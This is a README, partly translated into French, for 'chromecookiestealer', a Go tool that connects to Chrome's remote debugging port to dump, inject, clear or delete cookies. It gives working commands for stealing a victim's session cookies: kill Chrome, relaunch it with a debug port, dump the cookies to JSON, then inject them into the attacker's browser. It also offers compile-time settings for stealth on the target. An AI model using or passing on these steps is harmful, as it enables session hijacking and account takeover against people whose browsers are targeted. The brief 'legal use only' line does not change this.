
Voler/Injecter des cookies Chrome via le protocole DevTools (--remote-debugging-port).
Se connecte à Chrome en utilisant son protocole Remote DevTools et vole/injecte/efface/supprime les cookies.
Fortement inspiré par WhiteChocolateMacademiaNut.
Les cookies sont extraits sous forme d'objets JSON en utilisant le propre format de Chrome. Le même format est utilisé pour les cookies à charger.
Pour usage légal uniquement.
Voler les cookies d'une victime :
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.json
Injecter dans le navigateur local de l'attaquant :
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.json
Usage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
Clear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go build devrait suffire. Les éléments suivants peuvent être définis à
la compilation avec -ldflags '-X main.Foo=bar' pour un peu plus de discrétion
sur la cible furtivité.
Aucun des éléments ci-dessus n'est défini par défaut.
Le protocole Chrome DevTools est une cible mouvante. Il peut être nécessaire d'utiliser une version plus récente des chromedp et cdproto bibliothèques si ce programme cesse de fonctionner. Cela peut être fait avec
go get -u -v all
go mod tidy
go build
ce qui pourrait bien avoir l'effet secondaire de tout casser.
¯\_(ツ)_/¯
| Variable | Description |
|---|
| DumpFile | Nom d'un fichier dans lequel extraire les cookies. Implique -dump |
| InjectFile | Nom d'un fichier à partir duquel injecter les cookies. Implique -inject |
| DeleteFile | Nom d'un fichier avec des paramètres décrivant les cookies à supprimer. Implique -delete |
| DoClear | Si défini à n'importe quelle valeur, implique -clear |